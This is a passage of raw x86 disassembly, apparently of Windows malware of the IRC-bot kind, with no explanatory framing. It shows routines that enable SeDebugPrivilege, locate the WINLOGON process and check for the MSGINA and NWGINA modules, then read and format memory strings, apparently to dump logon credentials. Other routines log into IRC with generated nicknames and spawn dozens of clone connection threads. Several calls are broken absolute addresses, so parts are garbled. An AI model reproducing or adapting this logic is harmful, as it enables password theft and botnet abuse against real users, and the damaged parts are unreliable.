call sub_41741D
loc_417018: ; CODE XREF: sub_416F1B+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417060
cmp dword_4D46D8, 0
jnz short loc_417047
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_4380C0
push 200h
push eax
call sub_41B980
add esp, 18h
jmp short loc_41707A
; ---------------------------------------------------------------------------
loc_417047: ; CODE XREF: sub_416F1B+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417057
call sub_417553
jmp short loc_41705C
; ---------------------------------------------------------------------------
loc_417057: ; CODE XREF: sub_416F1B+133j
call sub_4175EA
loc_41705C: ; CODE XREF: sub_416F1B+13Aj
pop ecx
push eax
jmp short loc_41706C
; ---------------------------------------------------------------------------
loc_417060: ; CODE XREF: sub_416F1B+101j
push offset unk_438088
jmp short loc_41706C
; ---------------------------------------------------------------------------
loc_417067: ; CODE XREF: sub_416F1B+B6j
push offset unk_43805C
loc_41706C: ; CODE XREF: sub_416F1B+143j
; sub_416F1B+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41707A: ; CODE XREF: sub_416F1B+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 278079Dh
pop ebx
jmp short loc_4170A7
; ---------------------------------------------------------------------------
loc_417094: ; CODE XREF: sub_416F1B+4Ej
push offset unk_438028
loc_417099: ; CODE XREF: sub_416F1B+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4170A7: ; CODE XREF: sub_416F1B+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4170CE
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409A73
add esp, 14h
loc_4170CE: ; CODE XREF: sub_416F1B+191j
lea eax, [ebp+var_29C]
push eax
call sub_4151AD
push [ebp+var_18]
call sub_40B413
pop ecx
pop ecx
push esi
nop
call near ptr 26E0000h
pop edi
pop esi
sub_416F1B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4170ED proc near ; CODE XREF: sub_416F1B+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427148
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427144
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D44CC
push ebp
push 0
call esi
push eax
nop
call near ptr 2790000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D44CC
test eax, eax
jnz short loc_4171DA
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4171DA
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4171DA
loc_417176: ; CODE XREF: sub_4170ED+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4171CD
push 0
push 0
call dword_4D44C0
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D46D0
test eax, eax
jnz short loc_4171BE
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4171F2
loc_4171BE: ; CODE XREF: sub_4170ED+AAj
test edi, edi
jz short loc_4171C9
push edi
call dword_4D44C8
loc_4171C9: ; CODE XREF: sub_4170ED+D3j
mov eax, [esp+28h+var_10]
loc_4171CD: ; CODE XREF: sub_4170ED+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417176
loc_4171DA: ; CODE XREF: sub_4170ED+6Dj
; sub_4170ED+7Aj ...
xor edi, edi
loc_4171DC: ; CODE XREF: sub_4170ED+17Dj
push ebp
push 0
call esi
push eax
call near ptr 2790000h
nop
mov eax, edi
loc_4171EA: ; CODE XREF: sub_4170ED+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4171F2: ; CODE XREF: sub_4170ED+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_41725B
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417208: ; CODE XREF: sub_4170ED+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41726F
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41724D
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41724D: ; CODE XREF: sub_4170ED+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417208
loc_41725B: ; CODE XREF: sub_4170ED+10Fj
test edi, edi
jz short loc_417266
push edi
call dword_4D44C8
loc_417266: ; CODE XREF: sub_4170ED+170j
mov edi, [esp+28h+var_4]
jmp loc_4171DC
; ---------------------------------------------------------------------------
loc_41726F: ; CODE XREF: sub_4170ED+13Cj
xor eax, eax
jmp loc_4171EA
sub_4170ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417276 proc near ; CODE XREF: sub_416F1B+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 26803B1h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41729F
xor eax, eax
jmp loc_41741A
; ---------------------------------------------------------------------------
loc_41729F: ; CODE XREF: sub_417276+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 27B02D9h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427148
push 8
call esi
mov edi, dword_427144
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_427150
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_4172EF
xor esi, esi
jmp loc_41740D
; ---------------------------------------------------------------------------
loc_4172EF: ; CODE XREF: sub_417276+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 27A0C56h
test eax, eax
jz loc_4173FC
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4173FC
test [ebp+var_2B], 1
jnz loc_4173FC
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4173FC
loc_417352: ; CODE XREF: sub_417276+112j
push edi
push offset dword_4D34C0
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_41737A
lea eax, [edi+200h]
push eax
push offset dword_4D3CC0
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_41738A
loc_41737A: ; CODE XREF: sub_417276+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4173FC
jmp short loc_417352
; ---------------------------------------------------------------------------
loc_41738A: ; CODE XREF: sub_417276+102j
test edi, edi
jz short loc_4173FC
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 2750000h
test eax, eax
jz short loc_4173C5
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 274085Fh
test eax, eax
jz short loc_4173C5
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4173C5: ; CODE XREF: sub_417276+12Bj
; sub_417276+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D46E4, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D46DC, eax
mov dword_4D46E0, edi
loc_4173FC: ; CODE XREF: sub_417276+90j
; sub_417276+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 2790000h
mov esi, [ebp+var_10]
loc_41740D: ; CODE XREF: sub_417276+74j
push [ebp+var_4]
call near ptr 2660919h
nop
pop edi
mov eax, esi
pop ebx
loc_41741A: ; CODE XREF: sub_417276+24j
pop esi
leave
retn
sub_417276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41741D proc near ; CODE XREF: sub_416F1B:loc_417013p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 26803B1h
test eax, eax
mov [ebp+arg_0], eax
jz loc_41750F
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call near ptr 27B02D9h
nop
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417506
mov edi, dword_427148
loc_417468: ; CODE XREF: sub_41741D+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 27A0C56h
test eax, eax
jz short loc_4174F4
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4174FA
test [ebp+var_13], 1
jnz short loc_4174FA
push ecx
push 8
call edi
push eax
nop
call near ptr 27A0000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 27B0000h
test eax, eax
jz short loc_4174E6
push offset dword_4D34C0
push esi
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_4174E6
lea eax, [esi+400h]
push offset dword_4D3CC0
push eax
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417516
loc_4174E6: ; CODE XREF: sub_41741D+9Fj
; sub_41741D+B0j
push esi
push 0
call edi
push eax
call near ptr 2790000h
nop
jmp short loc_4174FA
; ---------------------------------------------------------------------------
loc_4174F4: ; CODE XREF: sub_41741D+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4174FA: ; CODE XREF: sub_41741D+71j
; sub_41741D+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417468
loc_417506: ; CODE XREF: sub_41741D+3Fj
push [ebp+arg_0]
nop
call near ptr 2660919h
loc_41750F: ; CODE XREF: sub_41741D+1Ej
xor eax, eax
loc_417511: ; CODE XREF: sub_41741D+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417516: ; CODE XREF: sub_41741D+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D46DC, ebx
mov dword_4D46E0, eax
cmp [eax], cl
jnz short loc_417538
cmp [eax+1], cl
jz short loc_417540
loc_417538: ; CODE XREF: sub_41741D+114j
; sub_41741D+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417538
loc_417540: ; CODE XREF: sub_41741D+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 2660919h
push 1
pop eax
jmp short loc_417511
sub_41741D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417553 proc near ; CODE XREF: sub_416F1B+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D46D8
push esi
mov esi, dword_427148
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 27A0000h
mov ecx, dword_4D46D8
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D46E0
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D46E4
push eax
call dword_4D44C4
push [ebp+var_4]
mov edi, offset dword_4D44D0
push offset dword_4D34C0
push offset dword_4D3CC0
push [ebp+arg_0]
push offset dword_438244
push 200h
push edi
call sub_41B980
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
call near ptr 2790000h
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_417553 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175EA proc near ; CODE XREF: sub_416F1B:loc_417057p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D46D8
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
nop
call near ptr 27A0BE2h
push eax
call near ptr 27A0000h
nop
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D3CC0
mov edi, 200h
mov esi, offset dword_4D32C0
loc_417630: ; CODE XREF: sub_4175EA+FAj
mov eax, dword_4D46D8
add eax, eax
push eax
push dword_4D46E0
push [ebp+var_14]
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D44C4
mov eax, dword_4D46D8
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4176A5
loc_41766D: ; CODE XREF: sub_4175EA+B3j
cmp [ebp+var_8], 0
jz short loc_4176C2
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417691
cmp byte ptr [ecx+1], 0
jnz short loc_417691
cmp dl, 20h
jnb short loc_41768B
and [ebp+var_8], 0
loc_41768B: ; CODE XREF: sub_4175EA+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417695
loc_417691: ; CODE XREF: sub_4175EA+90j
; sub_4175EA+96j
and [ebp+var_8], 0
loc_417695: ; CODE XREF: sub_4175EA+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_41766D
cmp [ebp+var_8], 0
jz short loc_4176C2
loc_4176A5: ; CODE XREF: sub_4175EA+81j
push [ebp+var_14]
push offset dword_4D34C0
push ebx
push [ebp+arg_0]
push offset dword_438244
push edi
push esi
call sub_41B980
add esp, 1Ch
jmp short loc_4176DA
; ---------------------------------------------------------------------------
loc_4176C2: ; CODE XREF: sub_4175EA+87j
; sub_4175EA+B9j
push offset dword_4D34C0
push ebx
push [ebp+arg_0]
push offset dword_438294
push edi
push esi
call sub_41B980
add esp, 18h
loc_4176DA: ; CODE XREF: sub_4175EA+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417630
push [ebp+var_14]
push 0
call near ptr 27A0BE2h
nop
push eax
call near ptr 2790000h
nop
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4175EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417703 proc near ; CODE XREF: sub_4178BB+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6D4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41777F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB654
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB694
cmp eax, esi
jnz short loc_417764
push [ebp+arg_0]
call dword_4CB6D8
test eax, eax
jz short loc_41777F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417764: ; CODE XREF: sub_417703+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB5FC
cmp eax, esi
jnz short loc_417783
push edi
call dword_4CB6EC
loc_41777F: ; CODE XREF: sub_417703+1Bj
; sub_417703+58j
mov eax, esi
jmp short loc_417785
; ---------------------------------------------------------------------------
loc_417783: ; CODE XREF: sub_417703+73j
mov eax, edi
loc_417785: ; CODE XREF: sub_417703+7Ej
pop edi
pop esi
leave
retn
sub_417703 endp
; =============== S U B R O U T I N E =======================================
sub_417789 proc near ; CODE XREF: sub_401ACD+3295p
; sub_401ACD+3301p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A0A0 ; "\n"
push edi
call sub_41BEC0
pop ecx
mov esi, offset dword_4D46EC
pop ecx
loc_4177A1: ; CODE XREF: sub_417789+42j
cmp dword ptr [esi-4], 1
jnz short loc_4177BF
cmp dword ptr [esi], 0
jbe short loc_4177BF
push 0
push edi
call sub_41AFE0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CB6A4
loc_4177BF: ; CODE XREF: sub_417789+1Cj
; sub_417789+21j
add esi, 210h
cmp esi, offset dword_4DAE0C
jl short loc_4177A1
pop edi
pop esi
retn
sub_417789 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177D0 proc near ; CODE XREF: sub_4178BB+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42D124 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C0F4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_4177F5: ; CODE XREF: sub_4177D0+35j
push esi
push 0
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_4177F5
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_41781D
cmp esi, edi
jnz short loc_41781D
push 1
pop eax
jmp loc_4178B6
; ---------------------------------------------------------------------------
loc_41781D: ; CODE XREF: sub_4177D0+3Fj
; sub_4177D0+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C070
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417838
push offset dword_438EA4
jmp short loc_417886
; ---------------------------------------------------------------------------
loc_417838: ; CODE XREF: sub_4177D0+5Fj
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_417859
push esi
push offset dword_438EA0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4178B4
loc_417859: ; CODE XREF: sub_4177D0+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41B590
lea eax, [ebp+var_420]
push eax
call sub_417ADE
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_438E94
loc_417886: ; CODE XREF: sub_4177D0+66j
lea eax, [ebp+var_220]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CB6A4
loc_4178B4: ; CODE XREF: sub_4177D0+87j
xor eax, eax
loc_4178B6: ; CODE XREF: sub_4177D0+48j
pop edi
pop esi
pop ebx
leave
retn
sub_4177D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178BB proc near ; DATA XREF: sub_417A60+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BB20
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D46F4[esi]
mov dword_4D46E8[esi], edi
push dword_4D48F4[esi]
push eax
call sub_417703
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D46EC[esi], eax
jb loc_417A40
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B590
lea eax, [ebp+var_2008]
push eax
call sub_417ADE
lea eax, [ebp+var_4008]
push eax
call sub_417ADE
lea eax, [ebp+var_3008]
push eax
call sub_417ADE
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D46EC[esi]
call dword_4CB6A4
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
loc_417997: ; CODE XREF: sub_4178BB+111j
; sub_4178BB+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D46EC[esi]
call dword_4CB66C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A40
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417997
loc_4179CE: ; CODE XREF: sub_4178BB+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_4179F5
cmp al, 0Ah
jz short loc_4179F5
cmp [ebp+arg_0], 0FA0h
jz short loc_4179F5
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417A2F
; ---------------------------------------------------------------------------
loc_4179F5: ; CODE XREF: sub_4178BB+11Cj
; sub_4178BB+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A2F
push dword_4D46EC[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
ja short loc_417A40
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A2F: ; CODE XREF: sub_4178BB+138j
; sub_4178BB+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4179CE
jmp loc_417997
; ---------------------------------------------------------------------------
loc_417A40: ; CODE XREF: sub_4178BB+40j
; sub_4178BB+107j ...
mov dword_4D46E8[esi], ebx
mov esi, dword_4D46EC[esi]
cmp esi, ebx
jbe short loc_417A57
push esi
call dword_4CB6EC
loc_417A57: ; CODE XREF: sub_4178BB+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4178BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A60 proc near ; CODE XREF: sub_401ACD+31E2p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417AD9
loc_417A72: ; CODE XREF: sub_417A60+77j
xor edi, edi
mov eax, offset dword_4D46E8
loc_417A79: ; CODE XREF: sub_417A60+28j
cmp [eax], ebx
jz short loc_417A8A
add eax, 210h
inc edi
cmp eax, offset dword_4DAE08
jl short loc_417A79
loc_417A8A: ; CODE XREF: sub_417A60+1Bj
cmp edi, 31h
jz short loc_417AD9
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D46F4[esi]
push eax
call sub_41BEB0
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D48F4[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D46E8[esi], 1
push eax
push ebx
push edi
push offset sub_4178BB
push ebx
push ebx
nop
call near ptr 2680098h
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417A72
loc_417AD9: ; CODE XREF: sub_417A60+10j
; sub_417A60+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417A60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ADE proc near ; CODE XREF: sub_401ACD+374Ep
; sub_401ACD+3794p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
add esp, 0Ch
call sub_41B8E2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F0
call sub_41C798
cmp eax, 1
jnz short loc_417B28
call sub_41B8E2
call sub_41B8E2
push 66h
cdq
pop ecx
idiv ecx
push off_4385E8[edx*4]
jmp short loc_417B41
; ---------------------------------------------------------------------------
loc_417B28: ; CODE XREF: sub_417ADE+2Fj
call sub_41B8E2
call sub_41B8E2
cdq
mov ecx, 0C0h
idiv ecx
push off_4382E8[edx*4]
loc_417B41: ; CODE XREF: sub_417ADE+48j
lea eax, [ebp+var_2C]
push eax
call sub_41BEB0
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41AFE0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E8
call sub_41C798
mov ebx, eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E0
call sub_41C798
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417BB4
cmp esi, 3
jnz short loc_417BAB
cmp ebx, 1
jz short loc_417BB4
loc_417BAB: ; CODE XREF: sub_417ADE+C6j
cmp eax, 1
jnz loc_417C6E
loc_417BB4: ; CODE XREF: sub_417ADE+C1j
; sub_417ADE+CBj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
push off_4385E8[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41BEB0
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41BFB0
add esp, 10h
test eax, eax
jnz short loc_417C5B
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5B
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
call sub_41C798
cmp eax, 1
jnz short loc_417C5B
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E0
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417C5B: ; CODE XREF: sub_417ADE+111j
; sub_417ADE+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C1E0
add esp, 0Ch
